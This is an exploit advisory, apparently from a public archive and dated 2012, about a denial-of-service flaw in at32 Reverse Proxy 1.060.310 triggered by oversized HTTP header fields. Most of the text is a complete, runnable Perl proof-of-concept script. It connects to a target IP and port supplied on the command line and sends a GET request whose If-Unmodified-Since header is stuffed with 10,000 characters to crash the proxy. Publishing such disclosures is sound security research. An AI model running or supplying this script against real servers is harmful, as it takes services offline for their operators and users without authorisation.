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at32 Reverse Proxy 1.060.310 Denial Of Service

at32 Reverse Proxy 1.060.310 Denial Of Service
Posted Mar 19, 2012
Authored by demonalex

at32 Reverse Proxy version 1.060.310 suffers from multiple HTTP header field denial of service vulnerabilities.

tags | exploit, web, denial of service, vulnerability
MD5 | eee32c58673d40981fe29cc143d5dadb

at32 Reverse Proxy 1.060.310 Denial Of Service

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Title: at32 Reverse Proxy -  Multiple HTTP Header Field Denial Of Service Vulnerability

Product : at32 Reverse Proxy

Version : v1.060.310

Vendor: http://www.at32.com/doc/rproxy.htm

Class: Boundary Condition Error

CVE:

Remote: Yes

Local: No

Published: 2012-03-14

Updated:

Impact : Medium (CVSS2 Base : 6.1, AV:A/AC:L/Au:N/C:N/I:N/A:C)

Bug Description :
At32 Reverse Proxy allows you to host several websites on a single IP or port.
At32 Reverse Proxy contains any denial of service vulnerability about HTTP Header Fields(Such as If-Modified-Since, Server, etc...) in its HTTP Proxy service.

POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
use Socket;
$|=1;
print '*****************************************'."\n";
print '* At32 Reverse Proxy v1.060.310 DoS PoC *'."\n";
print '* writed by demonalex@163.com *'."\n";
print '*****************************************'."\n";
$evil='A'x10000;
$test_ip=shift; #target ip
$test_port=shift; #target port
if(!defined($test_ip) || !defined($test_port)){
die "usage : $0 target_ip target_port\n";
}
$test_payload=
"GET / HTTP/1.0\r\n".
"Accept: */*\r\n".
"Accept-Language: zh-cn\r\n".
"UA-CPU: x86\r\n".
"If-Unmodified-Since: ".$evil."\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322;".
" .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)\r\n".
"Host: ".$test_ip."\r\n".
"Connection: Keep-Alive"."\r\n\r\n";
$test_target=inet_aton($test_ip);
$test_target=sockaddr_in($test_port, $test_target);
socket(SOCK, AF_INET, SOCK_STREAM, 6) || die "cannot create socket!\n";
connect(SOCK, $test_target) || die "cannot connect the target!\n";
send(SOCK, $test_payload, 0) || die "cannot send the payload!\n";
#recv(SOCK, $test_payload, 100, 0);
close(SOCK);
print "done!\n";
exit(1);
#-------------------------------------------------------------

Credits : This vulnerability was discovered by demonalex@163.com
mail: demonalex@163.com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK

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